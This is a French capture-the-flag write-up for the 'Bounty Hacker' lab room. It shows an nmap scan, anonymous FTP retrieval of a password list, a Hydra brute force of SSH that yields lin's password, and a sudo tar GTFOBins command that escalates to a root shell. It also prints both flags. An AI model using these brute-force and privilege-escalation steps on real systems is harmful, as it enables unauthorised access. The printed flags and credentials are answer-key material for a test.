Bounty Hacker

// easy room //

Scanning

- nmap -T4 -sS -sV -Pn -p- 10.10.214.197 -vv | tee nmap_result.txt

```
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux;
protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
```

Enumération

:21

- ftp 10.10.214.197

  login : anonymous

  ```
  ftp> ls
  200 EPRT command successful. Consider using EPSV.
  150 Here comes the directory listing.
  -rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
  -rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
  ```

On les 'get'

- cat locks.txt
  rEddrAGON
  ReDdr4g0nSynd!cat3
  Dr@gOn
  yn9icat3R3DDr46ONSYndIC@TeReddRA60NR3dDrag0nSynd1c4tedRa6oN5YNDiCATEReDDR4g
  yndIC@t3
  4L1mi6H71StHeB357
  rEDdragOn*ynd1c473DrAgoN5ynD1cATEReDdrag0n*ynd1cate
  Dr@gOn*yND1C4TeRedDr@gonSyn9ic47eREd*yNdIc47e
  dr@goN5YNd1c@73
  rEDdrAGOnSyNDiCat3
  r3ddr@g0N
  ReDSynd1ca7e

:80

Un site web basic,

Le Gobuster n'a rien donné d'intéressant.

Exploitation

Hydra

On va essayer avec l'utilisateur lin,

j'ai vérifié au préalable si on pouvait ssh cet utilisateur :

```
hydra -l <username> -P <wordlist> ssh://<ip>
```

```
[DATA] attacking ssh://10.10.214.197:22/
[22][ssh] host: 10.10.214.197   login: lin   password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
```

SSH lin

- ssh lin@ip

  lin@bountyhacker:~/Desktop$ ls
  user.txt

1st Flag

THM{CR1M3_SyNd1C4T3}

Root

- sudo -l

  User lin may run the following commands on bountyhacker:
  (root) /bin/tar

GTFOBins

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

- tar: Removing leading `/' from member names

  id
  uid=0(root) gid=0(root) groups=0(root)

2nd Flag

```
cat root.txt
THM{80UN7Y_h4cK3r}
```